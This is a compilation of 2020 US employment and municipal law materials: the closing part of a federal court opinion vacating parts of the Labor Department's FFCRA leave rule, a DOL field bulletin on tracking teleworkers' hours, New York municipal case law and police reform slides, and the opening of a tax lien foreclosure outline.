8 New York levies an additional challenge against the definition of “health care provider.” The Final Rule purports to define a “health care provider” solely for the purposes of the EFMLEA and EPSLA, while leaving in place the narrower definition in pre-existing regulations implementing the FMLA. The definition, New York claims, must track the definition ascribed to the same words elsewhere in the FMLA, because the same provision gives the definition of “health care provider” for both relevant sections the FFCRA and for the remainder of the FMLA. (See Dkt. No. 4 at 15–16.) But the Supreme Court has occasionally suggested that an agency may interpret a shared term differently across various sections of a statute, even if the statute provides a single statutory definition, as long as the different definitions individually are reasoned and do not exceed the agency’s authority. See, e.g., Barber v. Thomas, 560 U.S. 474, 574–75 (2010); but see id. at 582–83 (Thomas, J., dissenting). Nonetheless, because the Court rejects the Final Rule’s definition on other grounds, it has no occasion to consider whether the differentiation is permissible.
D. **Intermittent Leave**

New York next argues that the regulation’s prohibition on intermittent leave exceeds DOL’s authority under the statute. The Final Rule permits “employees to take Paid Sick Leave or Expanded Family and Medical Leave intermittently (i.e., in separate periods of time, rather than one continuous period) only if the Employer and Employee agree,” and, even then, only for a subset of the qualifying conditions. *See* Final Rule at 19,353 (§§ 826.50(a)-(c)). By constraining the exercise of intermittent leave to “circumstances where there is a minimal risk that the employee will spread COVID-19 to other employees,” the Final Rule balances the statute’s goals of employee welfare and public health. *Id.* at 19,337.

The parties again disagree on the meaning of the regulations. New York reads the regulations to require employees to take *any* qualifying leave in a single block, and that any leave not taken consecutively in a single block is thereafter forfeited. (*See* Dkt. No. 4 at 17–20.) On this understanding, an employee who took two days off while seeking a COVID-19 diagnosis but thereafter returned to work could not take any additional EFMLEA leave, even if the employee later developed a different qualifying condition. DOL responds that the regulations forbid intermittent leave only for any *single* qualifying reason. (*See* Dkt. No. 25 at 30–31.) Thus, if the employee returns to work after taking two days of qualifying leave while seeking a diagnosis, the employee may later take more paid leave if she develops another qualifying condition.

This time, the language of the regulation favors DOL’s view. The Final Rule states that “[o]nce the Employee begins taking Paid Sick Leave for one or more of [the reasons for which intermittent leave is forbidden], the Employee must use the permitted days of leave consecutively until the Employee no longer has a qualifying reason to take Paid Sick Leave.” Final Rule at 19,353. That provision, however, says nothing about forfeiting *remaining* days of
leave after leave is taken intermittently. The most natural reading of the provision, then, squares
with the interpretation advanced by DOL: An employee taking leave for an
intermittent-leave-restricted reason must take his or her leave consecutively until his or her need
for leave abates. But once the need for leave abates, the employee retains any remaining paid
leave, and may resume leave if and when another qualifying condition arises. That
understanding is also in harmony with the Rule’s stated justification for the restriction, which, as
discussed in more detail below, relates to the public-health risk of an employee who may be
infected with COVID-19 returning to work before the risk of contagion dissipates.

Turning to the heart of New York’s challenge, the Court concludes that the
intermittent-leave constraints, as properly interpreted, are largely though not entirely consistent
with the FFCRA. Congress did not address intermittent leave at all in the FFCRA; it is therefore
precisely the sort of statutory gap, under Chevron step one, that DOL’s broad regulatory
authority empowers it to fill. FFCRA § 5111(3) (delegating the authority to the Secretary to
promulgate regulations “as necessary, to carry out the purposes of this Act”); see id. § 3102(b),
amended by CARES Act § 3611(7) (same). Moreover, Congress knows how to address
intermittent leave if it so desires; the FFCRA’s silence contrasts with the presence of both
affirmative grants and affirmative proscriptions on intermittent leave in the FMLA. See 29
U.S.C. § 2612(b)(1). Unlike in those instances, in the context of the FFCRA, Congress left this
interstitial detail to the agency’s expert decision-making. And though New York points to
several provisions in the FFCRA that would be nonsensical if leave could not be accrued
incrementally (see Dkt. No. 4 at 18–20), those provisions cohere with the Final Rule’s
intermittent leave restrictions as properly interpreted, because the Final Rule as construed
contemplates leave taken in multiple increments, as long as each increment is attributable to a
different instance of qualifying conditions. DOL’s intermittent-leave rules are therefore entitled to deference if they are reasonable. *See Woods v. START Treatment & Recovery Centers, Inc.*, 864 F.3d 158, 168 (2d Cir. 2017).

The intermittent-leave provisions falter in part, however, at *Chevron*’s second step. Under the Final Rule, intermittent leave is allowed for only certain of the qualifying leave conditions, and, even then, only if the employer agrees to permit it. Final Rule at 19,353 (§§ 826.50(a)-(c)). The conditions for which intermittent leave is entirely barred are those which logically correlate with a higher risk of viral infection. As explained in the Final Rule’s preamble, this restriction advances Congress’s public-health objectives by preventing employees who may be infected or contagious from returning intermittently to a worksite where they could transmit the virus. *See id.* at 19,337. Fair enough. But that justification, while sufficient to explain the Final Rule’s *prohibitions* on intermittent leave for qualifying conditions that correspond with an increased risk of infection, utterly fails to explain why employer *consent* is required for the remaining qualifying conditions, which concededly do not implicate the same public-health considerations. For example, as the Final Rule explains, if an employee requires paid leave “solely to care for the employee’s son or daughter whose school or place of care is closed,” the “absence of confirmed or suspected COVID-19 in the employee’s household reduces the risk that the employee will spread COVID-19 by reporting to the employer’s

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9 These include leave because employees: are subject to government quarantine or isolation order related to COVID-19, have been advised by a healthcare provider to self-quarantine due to concerns related to COVID-19, are experiencing symptoms of COVID-19 and are taking leave to obtain a medical diagnosis, are taking care of an individual who either is subject to a quarantine or isolation order related to COVID-19 or has been advised by a healthcare provider to self-quarantine due to concerns related to COVID-19, or are experiencing any other substantially similar condition specified by the Secretary of Health and Human Services.
worksite while taking intermittent paid leave.” Final Rule at 19,337. The Final Rule therefore acknowledges that the justification for the bar on intermittent leave for certain qualifying conditions is inapplicable to other qualifying conditions, but provides no other rationale for the blanket requirement of employer consent. Insofar as it requires employer consent for intermittent leave, then, the Rule is entirely unreasoned and fails at *Chevron* step two. It survives *Chevron* review insofar as it bans intermittent leave based on qualifying conditions that implicate an employee’s risk of viral transmission.

E. Documentation Requirements

Finally, New York argues that the Final Rule’s documentation requirements are inconsistent with the statute. (See Dkt. No. 4 at 21–23.) The Final Rule requires that employees submit to their employer, “prior to taking [FFCRA] leave,” documentation indicating, *inter alia*, their reason for leave, the duration of the requested leave, and, when relevant, the authority for the isolation or quarantine order qualifying them for leave. *See* Final Rule at 19,355 (§ 826.100).

But the FFCRA, as New York points out, contains a reticulated scheme governing prior notice. With respect to emergency paid family leave, the EFMLEA provides that, “[i]n any case where the necessity for [leave] is foreseeable, an employee shall provide the employer with such notice of leave as is practicable.” FCCRA § 3102(b) (adding FMLA § 110(c)). And with respect to paid sick leave, the EPSLA provides that “[a]fter the first workday (or portion thereof) an employee receives paid sick time under this Act, an employer may require the employee to follow reasonable notice procedures in order to continue receiving such paid sick time.” *Id.* § 5110(5)(E). To the extent that the Final Rule’s documentation requirement imposes a different and more stringent precondition to leave, it is inconsistent with the statute’s unambiguous notice provisions at fails at *Chevron* step one.
The federal government urges the Court to distinguish between the question of prior notice (which is what the statutory scheme addresses) and documentation requirements (which is what the regulation describes). (See Dkt. No. 33–34.) But a blanket (regulatory) requirement that an employee furnish documentation before taking leave renders the (statutory) notice exception for unforeseeable leave and the statutory one-day delay for paid sick leave notice completely nugatory. Labels aside, the two measures are in unambiguous conflict. The federal government also contends that the documentation requirements are not onerous (see Dkt. No. 34 at 25); be that as it may, the requirement is an unyielding condition precedent to the receipt of leave and, in that respect, is more onerous than the unambiguous statutory scheme Congress enacted. The documentation requirements, to the extent they are a precondition to leave, cannot stand.

F. Severability

The APA requires courts to “hold unlawful and set aside agency action” that is not in accordance with law or in excess of statutory authority. 5 U.S.C. § 706(2). “Agency action” may include “the whole or a part of an agency rule.” 5 U.S.C. § 551(13). “Thus, the APA permits a court to sever a rule by setting aside only the offending parts of the rule.” Carlson v. Postal Regulatory Comm’n, 938 F.3d 337, 351 (D.C. Cir. 2019). To that end, the “‘invalid part’ of a statute or regulation ‘may be dropped if what is left is fully operative as a law,’ absent evidence that ‘the [agency] would not have enacted those provisions which are within its power, independently of that which is not.’” United States v. Smith, 945 F.3d 729, 738 (2d Cir. 2019) (quoting Buckley v. Valeo, 424 U.S. 1, 108 (1976)).

Here, New York contends that each offending portion of the Final Rule is severable from the remainder of the Final Rule. (See Dkt. No. 4 at 23–25.) DOL does not dispute the provisions’ severability, and the Court sees no reason that the remainder of the Rule cannot
operate as promulgated in the absence of the invalid provisions. The following portions, and only the following portions, of the Final Rule are therefore vacated: the work-availability requirement; the definition of “health care provider”; the requirement that an employee secure employer consent for intermittent leave; and the temporal aspect of the documentation requirement, that is, the requirement that the documentation be provided before taking leave. The remainder of the Final Rule, including the outright ban on intermittent leave for certain qualifying reasons and the substance of the documentation requirement, as distinguished from its temporal aspect, stand.

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The Court acknowledges that DOL labored under considerable pressure in promulgating the Final Rule. This extraordinary crisis has required public and private entities alike to act decisively and swiftly in the face of massive uncertainty, and often with grave consequence. But as much as this moment calls for flexibility and ingenuity, it also calls for renewed attention to the guardrails of our government. Here, DOL jumped the rail.

G. Conclusion

For the foregoing reasons, Defendants’ motion to dismiss is DENIED. Plaintiff’s motion for summary judgment is GRANTED as to the work-availability requirement, the definition of “health care provider,” and the temporal aspect of the documentation requirements, and is GRANTED in part and DENIED in part as to the intermittent-leave provision. Defendants’ motion for summary judgment is GRANTED in part as to the intermittent-leave prohibition, and is otherwise DENIED.
The Clerk of Court is directed to close the motions at Docket Numbers 3, 24, and 31.

SO ORDERED.

Dated: August 3, 2020
New York, New York

J. PAUL OETKEN
United States District Judge
August 24, 2020

FIELD ASSISTANCE BULLETIN No. 2020-5

MEMORANDUM FOR: Regional Administrators  
Deputy Regional Administrators  
Directors of Enforcement  
District Directors

FROM: Cheryl M. Stanton  
Administrator

SUBJECT: Employers’ obligation to exercise reasonable diligence in tracking teleworking employees’ hours of work.

This Field Assistance Bulletin (FAB) provides guidance regarding employers’ obligation under the Fair Labor Standards Act (FLSA or Act) to track the number of hours of compensable work performed by employees who are teleworking or otherwise working remotely away from any worksite or premises controlled by their employers. In a telework or remote work arrangement, the question of the employer’s obligation to track hours actually worked for which the employee was not scheduled may often arise. While this guidance responds directly to needs created by new telework or remote work arrangements that arose in response to COVID-19, it also applies to other telework or remote work arrangements.

An employer is required to pay its employees for all hours worked, including work not requested but suffered or permitted, including work performed at home. See 29 C.F.R. § 785.11-12. If the employer knows or has reason to believe that work is being performed, the time must be counted as hours worked. An employer may have actual or constructive knowledge of additional unscheduled hours worked by their employees, and courts consider whether the employer should have acquired knowledge of such hours worked through reasonable diligence. See Allen v. City of Chicago, 865 F.3d 936, 945 (7th Cir. 2017), cert. denied, 138 S. Ct. 1302 (2018). One way an employer may exercise such diligence is by providing a reasonable reporting procedure for non-scheduled time and then compensating employees for all reported hours of work, even hours not requested by the employer. Id. If an employee fails to report unscheduled hours worked through such a procedure, the employer is not required to undergo impractical efforts to investigate further to uncover unreported hours of work and provide compensation for those hours. Id. However, an employer’s time reporting process will not constitute reasonable diligence where the employer either prevents or discourages an employee from accurately reporting the time he or she has worked, and an employee may not waive his or her rights to compensation under the Act. Id. at 939; see also Craig v. Bridges Bros. Trucking LLC, 823 F.3d 382, 388 (6th Cir. 2016).
**Background**

The FLSA generally requires employers to compensate their employees for all hours worked, including overtime hours. As the Department’s interpretive rules explain, “[w]ork not requested but suffered or permitted is work time” that must be compensated. 29 C.F.R. § 785.11. This principle applies equally to work performed away from the employer’s worksite or premises, such as telework performed at the employee’s home. *Id.* § 785.12. “If the employer knows or has reason to believe that the work is being performed, he must count the time as hours worked.” *Id.* Employers are required to exercise control to ensure that work is not performed that they do not wish to be performed. *Id.* § 785.13.

While it may be easy to define what an employer actually knows, it may not always be clear when an employer “has reason to believe that work is being performed,” particularly when employees telework or otherwise work remotely at locations that the employer does not control or monitor. This confusion may be exacerbated by the increasing frequency of telework and remote work arrangements since the Department issued the above interpretive rules in 1961. The Bureau of Labor Statistics estimated in 2019 that roughly 24 percent of working Americans performed some work at home on an average day ([https://www.bls.gov/news.release/atus.t06.htm](https://www.bls.gov/news.release/atus.t06.htm)). And these arrangements have expanded even further in 2020 in response to the COVID-19 pandemic. Accordingly, WHD believes it is appropriate to clarify this issue.

**Employer Must Pay for All Hours Worked that it Knows or Has Reason to Believe Was Performed**

The FLSA requires an employer to “exercise its control and see that the work is not performed if it does not want it to be performed.” 29 C.F.R. § 785.13. The employer bears the burden of preventing work when it is not desired, and “[t]he mere promulgation of a rule against such work is not enough. Management has the power to enforce the rule and must make every effort to do so.” *Id.*; see *Hellmers v. Town of Vestal, N.Y.*, 969 F. Supp. 837, 845 (N.D.N.Y. 1997).¹ Work that an employer did not request but nonetheless “suffered or permitted” is therefore compensable. *Id.* § 785.11; see also 29 U.S.C. § 203(g). “Employers must, as a result, pay for all work they know about, even if they did not ask for the work, even if they did not want the work

¹ The phrase “must make every effort” in 29 C.F.R. § 785.13, however, does not mean that the “duty of the management to exercise its control” to prevent unwanted work is unlimited. *Hellmers*, 969 F. Supp. at 845-46 (“However, the duty [under 29 C.F.R. § 785.13] is not unlimited[.] … The question then is whether an employer’s inquiry was reasonable in light of the circumstances surrounding the employer’s business, including existing overtime policies and requirements.”); see also *Chao v. Gotham Registry, Inc.*, 514 F.3d 280, 291 (2d Cir. 2008) (explaining that “the law does not require [an employer] to follow any particular course to forestall unwanted work, but instead to adopt all possible measures to achieve the desired result”).
done, and even if they had a rule against doing the work.” *Allen v. City of Chicago*, 865 F.3d 936, 938 (7th Cir. 2017) (citations omitted).

“However, the FLSA stops short of requiring the employer to pay for work it did not know about, and had no reason to know about.” *Kellar v. Summit Seating Inc.*, 664 F.3d 169, 177 (7th Cir. 2011) (emphasis added). Thus, the employer’s obligation under 29 C.F.R. § 785.13 to “make every effort” to prevent unwanted work being performed away from the employer’s worksite or premises is not boundless. This is because an employer cannot make any effort—let alone every effort—to prevent unwanted work unless “the employer knows or has reason to believe the work is being performed.” 29 C.F.R. § 785.12.

An employer’s obligation to compensate employees for hours worked can therefore be based on actual knowledge or constructive knowledge of that work. For telework and remote work employees, the employer has actual knowledge of the employees’ regularly scheduled hours; it may also have actual knowledge of hours worked through employee reports or other notifications. The FLSA’s standard for constructive knowledge in the overtime context is whether an employer has reason to believe work is being performed. *See id.* An employer may have constructive knowledge of additional unscheduled hours worked by their employees if the employer should have acquired knowledge of such hours through reasonable diligence. *Allen*, 865 F.3d at 945; *Hertz*, 566 F.3d at 782. Importantly, “[t]he reasonable diligence standard asks what the employer should have known, not what ‘it could have known.’” *Allen*, 865 F.3d at 943 (quoting *Hertz*, 566 F.3d at 782). One way an employer generally may satisfy its obligation to exercise reasonable diligence to acquire knowledge regarding employees’ unscheduled hours of work is “by establishing a reasonable process for an employee to report uncompensated work time.” *Id.* at 938. But the employer cannot implicitly or overtly discourage or impede accurate reporting, and the employer must compensate employees for all reported hours of work. *Id.* at 939 (“[A]n employer’s formal policy or process for reporting overtime will not protect the employer if the employer prevents or discourages accurate reporting in practice.”); *see also Craig*, 823 F.3d at 390 (reversing summary judgment in part because employee had miscalculated the applicable hourly rate owed, and emphasizing that an employee may not waive his or her rights under the FLSA). ²

However, if an employee fails to report unscheduled hours worked through such a procedure, the employer is generally not required to investigate further to uncover unreported hours. *Allen*, 865 F.3d at 938. Though an employer may have access to non-payroll records of employees’ activities, such as records showing employees accessing their work-issued electronic devices outside of reported hours, reasonable diligence generally does not require the employer to undertake impractical efforts such as sorting through this information to determine whether its employees worked hours beyond what they reported. *See, e.g.*, *Id.* at 945 (affirming that the district court reasonably found that employer did not need to cross-reference “phone records or

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² Additionally, if an employer is otherwise notified of work performed through a reasonable method, or if employees are not properly instructed on using a reporting system, then an employer may be liable for those hours worked. *Allen*, 865 F.3d. at 946 n.5 (“One can certainly argue that an employer has not created a reasonable reporting system—has not been reasonably diligent—if its employees do not know when to use that system.”).
supervisors’ knowledge of overtime to ensure that its employees were reporting their time correctly”); *Hertz*, 566 F.3d at 782 (“It would not be reasonable to require that the County weed through non-payroll CAD records to determine whether or not its employees were working beyond their scheduled hours.”); *Newton v. City of Henderson*, 47 F.3d 746, 749 (5th Cir. 1995) (“We hold that as a matter of law such ‘access’ to information [regarding activities performed by plaintiff] does not constitute constructive knowledge that Newton was working overtime.”). 3

“When the employee fails to follow reasonable time reporting procedures [he or] she prevents the employer from knowing its obligation to compensate the employee.” *White v. Baptist Memorial Health Care Corp.*, 699 F.3d 869, 876 (6th Cir. 2012). Moreover, where an employee does not make use of a reasonable reporting system to report unscheduled hours of work, the employer is thwarted from preventing the work to the extent it is unwanted, if the employer is not otherwise notified of the work and is not preventing employees from using the system. *Id.* at 877. And the employer could not have “suffered or permitted” work it did not know and had no reason to believe was being performed. *See* 29 C.F.R. §§ 785.11–.12. Accordingly, failure to compensate an employee for unreported hours that the employer did not know about, nor had reason to believe was being performed, does not violate the FLSA. *Id.*; *see also Forrester v. Roth’s I. G. A. Foodliner, Inc.*, 646 F.2d 413, 414 (9th Cir. 1981) (“[W]here an employer has no knowledge that an employee is engaging in overtime work and that employee fails to notify the employer …, the employer’s failure to pay for the overtime hours is not a [FLSA] violation.”). 3

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3 This is not to say that consultation of records outside of the employer’s timekeeping procedure may never be relevant. Depending on the circumstances it could be practical for the employer to consult such records. If so, those records would form the basis of constructive knowledge of hours worked. *Hertz*, 566 F.3d at 782 (“We do not foreclose the possibility that another case may lend itself to a finding that access to records would provide constructive knowledge of unpaid overtime work.”); *see also Craig*, 823 F.3d at 392 (“Some cases may lend themselves to a finding that access to records would provide constructive knowledge of unpaid overtime work, but that is not a foregone conclusion.”)
Municipal Law Case Review and Update

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MUNICIPAL CASE LAW
REVIEW AND UPDATE

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2020 CAASNY ANNUAL MEETING
Via ZOOM
SEPTEMBER 14, 2020
10:00 A.M. TO 11:00 A.M.
MUNICIPAL LAW UPDATE

NEW YORK STATE HUMAN RIGHTS LAW

• EMMONS V. BROOME COUNTY, 180 AD3D 1213 (3RD DEPT. 2020)
• STEWART V. NEW YORK CITY DEPT OF EDUCATION, 182 AD3D 472 (1ST DEPT 2020)
• CHAPLIN V. NEW YORK STATE DIVISION OF HUMAN RIGHTS, 185 AD3D 1022 (2ND DEPT. 2020)
• LeTRAY V. NYSDHR, 181 AD3D 1296 (4TH DEPT. 2020)
CIVIL SERVICE LAW SECTION 75

CARCONE V. CITY OF UTICA, 185 AD3D 1476 (4TH DEPT. 2020)
MUNICIPAL LAW UPDATE

PUBLIC EMPLOYMENT RELATIONS BOARD

• STATE OF NEW YORK V. PERB, 183 AD3D 1172 (3RD DEPT 2020).
• STATE OF NEW YORK V. PERB, 183 AD3D 1061 (3RD DEPT. 2020)
• SULLIVAN COUNTY PBA V. PERB, 179 AD3D 1270 (3RD DEPT. 2020)
MUNICIPAL LAW UPDATE

ENFORCEMENT OF ARBITRATION AWARDS

• **VILLAGE OF ENDICOTT V. ENDICOTT PBA**, 182 AD3D 738 (3RD DEPT. 2020)
• **BUFFALO TEACHERS FEDERATION V. CITY OF BUFFALO SCHOOL DISTRICT**, 179 AD3D 1553 (4TH DEPT. 2020)
• **BUFFALO TEACHERS FEDERATION V. CITY OF BUFFALO SCHOOL DISTRICT** 2020 N.Y.Slip Opinion 04647 (4TH DEPT. 2020)
• **LOPEZ V. CITY OF NEW YORK**, 180 AD3D 465 (1ST DEPT 2020)
MUNICIPAL LAW UPDATE

ENFORCEMENT OF ARBITRATION AWARDS

-continued-

• *BOARD OF EDUCATION OF THE CITY OF YONKERS SCHOOL DISTRICT V. YONKERS FEDERATION OF TEACHERS, 185 AD3D 811 (2ND DEPT. 2020)*
MUNICIPAL LAW UPDATE

RETIREMENT BENEFITS

EVANS V. DEPOSIT CENTRAL SCHOOL DISTRICT, 183 AD 3D 1081 (3RD DEPT. 2020)
MUNICIPAL LAW UPDATE

NOTICE OF CLAIM

• McVEA V. COUNTY OF ORANGE, 2020 SLIP OPINION 04840 (2ND DEPT. 2020)
• CHODKOWSKI V. COUNTY OF NASSAU, 180 AD3D 778 (2ND DEPT. 2020)
MUNICIPAL LAW UPDATE

CPLR ARTICLE 78 SPECIAL PROCEEDINGS

• **SPENCE V. GOER**, 183 AD3D 1199 (3rd DEPT. 2020)
• **KRUG V. CITY OF BUFFALO**, 34 NY3D 1094 (2019)
• **CABRERA V. CITY OF NEW YORK CIVIL SERVICE COMMISSION**, 181 AD3D 540 (1st DEPT. 2020)
MUNICIPAL LAW UPDATE

FREEDOM OF INFORMATION LAW

• KIRSCH V. WILLIAMSVILLE CENTRAL SCHOOL DISTRICT, 184 AD3D 1085 (4TH DEPT. 2020)
• HEPPS V. NEW YORK STATE DEPARTMENT OF HEALTH, 183 AD3D 283 (3RD DEPT. 2020)
• FORSYTH V. CITY OF ROCHESTER, 185 AD3D 1499 (4TH DEPT. 2020)
• MORRIS V. COUNTY OF NASSAU, 184 AD3D 830 (2ND DEPT. 2020)
MUNICIPAL LAW UPDATE

FREEDOM OF INFORMATION LAW -CONTINUED -

• McDEVITT V. SUFFOLK COUNTY, 183 AD3D 826 (2ND DEPT. 2020)
• JEWISH PRESS, INC. V. NEW YORK CITY DEPARTMENT OF EDUCATION, 183 AD3D 731 (2ND DEPT., 2020)
Repeal of Civil Rights Law § 50-a

• Signed June 12, 2020
• Effective immediately
• Prior to its repeal it prevented disclosure of police officer personnel records without written consent of the officer or a court order
• Included all personnel records used to evaluate performance toward continued employment or promotion
Repeal of Civil Rights Law § 50-a

• Amendments to the Freedom of Information Law (See Public Officers Law §§ 84-90)
• Allows for the redaction of certain information in “law enforcement disciplinary records” prior to disclosure
  – complaints, allegations and charges against an employee;
  – the name of the employee complained of or charged;
  – the transcript of any disciplinary trial or hearing, including any exhibits;
  – the disposition of any disciplinary proceeding; and
  – the final written opinion or memorandum supporting the disposition and discipline imposed, including the factual findings, analysis of conduct and appropriate discipline
Repeal of Civil Rights Law § 50-a

**Mandatory Redactions:**
- Medical history (if it is unrelated to misconduct)
- Home addresses, personal telephone numbers, personal cell phone numbers, social security numbers, personal email addresses, including information about a complainant or any other person named in a law enforcement disciplinary record;
- Participation in an employee assistance program, mental health service, substance abuse service
  - UNLESS such use was mandated by a disciplinary proceeding
Repeal of Civil Rights Law § 50-a

- **Permitted Redaction of “technical infraction”**
  - A minor rule violation solely related to the enforcement of administrative departmental rules that:
    - Do not involve interactions with members of the public;
    - Are not of public concern; and
    - Are not otherwise connected to such person’s investigative, enforcement, training, supervision, or reporting responsibilities
Eric Garner Anti-chokehold Act

- Establishes the crime of aggravated strangulation for police officers or peace officers, where such officer commits the crime of criminal obstruction of breathing or blood circulation, or uses a chokehold or similar restraint, and causes serious physical injury or death
- Signed June 12, 2020
- Effective immediately
New Yorker’s Right To Monitor Act

• A person not under arrest or in the custody of a law enforcement official has the right to record police activity and to maintain custody and control of that recording and of any property or instruments used by that person to record police activities
• However, a person in custody or under arrest does not, by that status alone, forfeit such right to record
• Signed June 14, 2020
• Effective 30 days later
Medical Attention of Persons Under Arrest

- When a person is under arrest or otherwise in custody of a police officer, peace officer, or other law enforcement representative or entity, such officer, representative, or entity has a duty to provide attention to the medical and mental health needs of that person
- Signed June 15, 2020
- Effective immediately
Police Statistics and Accountability Act

• Requires the Chief of every police department, county sheriff, and superintendent of state police to promptly report to the New York State Division of Criminal Justice Services (DCJS) any arrest-related death, broken down by county
  – A death that occurs during law enforcement custody or an attempt to establish custody, including, but not limited to, deaths caused by any use of force
• This data will be presented in an annual report to the governor and legislature and is to be presented no later than February 1st of any year
• Signed June 15, 2020
• Effective 180 days later
Discharge of Weapon

• Required disclosure when a law enforcement/peace officer discharges weapon under circumstances where a person *could* be struck by a bullet
• Verbally reported to supervisor within 6 hours
• Prepare and file report within 48 hours
• Not prevented from invoking constitutional right to avoid self-incrimination
• Signed June 15, 2020
• Effective 90 days later
Other Bills

• Crime to report a non-emergency incident involving a member of a protected class
  – Signed June 12, 2020
  – Effective immediately

• Creates office of Special Investigation
  – Signed June 12, 2020

• Body worn cameras by New York State police officers
  – Signed June 16, 2020

• Creates the law enforcement misconduct investigative office
  – Signed June 16, 2020
JUNE 12, 2020 | Albany, NY

No. 203: New York State Police Reform and Reinvention Collaborative

EXECUTIVE ORDER
New York Executive Order 203

• Goal of Executive Order 203 is to “eliminate racial inequities in policing, to modify and modernize policing strategies, policies, procedures, and practices, and to develop practices to better address the particular needs of communities of color to promote public safety, improve community engagement, and foster trust”
New York Executive Order 203

• Governor notes that coordination with the resources of the Division of Criminal Justice Services, the Division of the Budget can increase the effectiveness of the criminal justice system by ensuring that the local police agencies within the state have been actively engaged with stakeholders in the local community and have locally-approved plans for the strategies, policies and procedures of local police agencies.
New York Executive Order 203

• Directs that the director of the Division of the Budget, in consultation with the Division of Criminal Justice Services, shall promulgate guidance to be sent to all local governments.
Guidance To Be Developed
Directing That:

- Each local government entity which has a police agency operating with police officers as defined under 1.20 of the criminal procedure law must perform a comprehensive review of current police force deployments, strategies, policies, procedures, and practices, and develop a plan to improve such deployments, strategies, policies, procedures, and practices, for the purposes of addressing the particular needs of the communities served by such police agency and promote community engagement to foster trust, fairness, and legitimacy, and to address any racial bias and disproportionate policing of communities of color.
Requirements of New York Executive Order 203

• Each CEO of the local government shall convene the head of the local police agency, and stakeholders in the community to develop such plan

• Elements of the plan shall:
  – Consider evidence of evidence-based policing strategies, including but not limited to, use of force policies, procedural justice
  – Any studies addressing systemic racial bias or racial justice in policing
  – Include training in de-escalation practices and implicit bias awareness
New York Executive Order 203

Elements of the Plan (cont.)

– Consider any studies addressing systemic racial bias or racial justice in policing
– Law enforcement assisted diversion programs, restorative justice practices, and community-based outreach and conflict resolution
– Problem-oriented policing; hot spots policing; focused deterrence
– Crime prevention through environmental design; violence prevention and reduction interventions
– Model policies and guidelines promulgated by the NYS Municipal Police Training Council and standards promulgated by the NYS Law Enforcement Accreditation Program
Stakeholders that Should be Involved and Consulted

- Membership and leadership of the local police force
- Members of the community, especially from areas that have high numbers of police and community interactions
- Interested non-profit and faith based groups
- Local office of the District Attorney
- Local office of the Public Defender
- Local elected officials
The Political Subdivision Should Create a Plan

REIMAGINING POLICE TRAINING

For the 21st Century
The Plan

• The political subdivision, in coordination with its police agency must consult with the stakeholders and create plan to adopt and implement the recommendations resulting from its review and consultation, including:
  – Any modifications, modernizations, and innovations to its policing deployments, strategies, policies, procedures, and practices, tailored to the specific needs of the community and general promotion of improved police agency and community relationships based on trust, fairness, accountability, and transparency, and which seek to reduce any racial disparities in policing
The Plan

- Must be offered for public comment to all citizens in the community
- After public comment, adopted by the local body of the political subdivision by April 1, 2021
- Must be adopted by Local Law or Resolution
- Must transmit a certification to the Director of Division of Budget affirming that the process has been completed and local law or resolution has been adopted
Certification to NYS Division of Budget

• Continued state funding may be conditioned on compliance with these provisions
Potential Issues & Practical Considerations:

• Local Law or Resolution?
• Provisions that contradict with current disciplinary codes (i.e. Town Law 155)
• Review data on the stated considerations and applicable studies (relevance will vary by jurisdiction, demographics and population)
• Evaluate, use of body cameras, internal affairs procedures, community policing
MUNICIPAL CASE LAW REVIEW AND UPDATE

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2020 CAASNY ANNUAL MEETING
Via ZOOM
SEPTEMBER 24, 2020
10:00 A.M. TO 11:00 A.M.
Tax Lien Foreclosure Procedures & Relevant Issues

Margaret A. Hurley, Esq.
Ms. Hurley is a Senior Associate in the Litigation practice group at Lippes Mathias Wexler Friedman LLP in Buffalo. She concentrates her practice primarily in commercial and municipal litigation, contract disputes, commercial mortgage foreclosures, tax lien foreclosures and tax certiorari defense matters. She also handles real estate transactions and bond underwriting. Ms. Hurley has represented clients in all phases of trial and appellate practice before local, state and federal courts, as well as alternative dispute resolution forums.

Additionally, Ms. Hurley has extensive experience in the field of commercial litigation and in the interpretation and application of the New York Civil Practice Law and Rules. Her clients include individuals, small and large business enterprises and municipalities. She has been successful in her role as special counsel to municipalities in a wide range of matters including risk assessment, tax certiorari and tax lien foreclosure proceedings and project management.

Ms. Hurley is qualified to receive Office of Court Administration Part 36 appointments and routinely serves as Referee in surplus money proceedings. Additionally, Ms. Hurley is qualified to serve as Referee in foreclosure matters and as Court Evaluator in Mental Hygiene Law Article 81 Guardianship Proceedings in Supreme Court.

Ms. Hurley is registered with the American Bar Association’s Military Pro-Bono Project Operation Stand-By as a civilian attorney. In this role, she provides civil litigation consultation to military attorneys on New York State-specific legal information in order to further assist their service member clients.

**EDUCATION**
- University at Buffalo School of Law, J.D.
- University at Buffalo, MSW
- Canisius College, B.A., cum laude

**PROFESSIONAL ASSOCIATIONS**
- American Bar Association
- New York State Bar Association
- Women's Bar Association of New York
- Bar Association of Erie County
- Erie County Assessors' Association
# Tax Lien Foreclosure Procedures and Relevant Issues

## Table of Contents

1) Tax Lien Foreclosure Procedures: In Rem Proceeding or Judicial Foreclosure Action .......................... 2
2) In Rem Proceeding .......................................................................................................................... 3
3) Tax Lien Foreclosure Auction ....................................................................................................... 13
4) Bankruptcy Considerations and Relief in Tax Lien Foreclosure ...................................................... 16
5) Relief for Residential Homeowners .............................................................................................. 18
6) COVID-19 Considerations in Tax Lien Foreclosure Proceedings ..................................................... 19

Appendix 1 ........................................................................................................................................... 22
Appendix 2 ........................................................................................................................................... 26
Appendix 3 ........................................................................................................................................... 32
Appendix 4 ........................................................................................................................................... 33
Appendix 5 ........................................................................................................................................... 34
Appendix 6 ........................................................................................................................................... 35
Appendix 7 ........................................................................................................................................... 36
1) **Tax Lien Foreclosure Procedures: In Rem Proceeding or Judicial Foreclosure Action**
   
a) **In Rem Proceeding**
   
i) Summary proceeding governed by Article 11 of the New York State Real Property Tax Law ("RPTL") or local tax act.
   
ii) Available to municipalities, only.
   
iii) Erie County Tax Act ("ECTA") Article 11
     
     (1) Erie County is entitled to foreclose upon lien(s) outstanding, unredeemed and unpaid for a period of 2 years.
     
iv) Tax liens are presumptively valid: "It shall not be necessary for the county to plead or establish by proof the various steps, procedures and notices for the assessment and levy of the taxes, assessments or other lawful charges against the land set forth in the list of delinquent taxes and properties, and all such taxes, assessments or other lawful charges and the lien thereof shall be presumed to be valid. Any answering defendant alleging any jurisdictional defect or invalidity of the tax... must particularly specify in his answer such jurisdictional defect or invalidity and must affirmatively establish such defense". ECTA §11-18.0. See also, RPTL §1134.
   
v) Preferred method of tax lien foreclosure
     
     (1) Cost effective
     
     (2) Streamlined
   
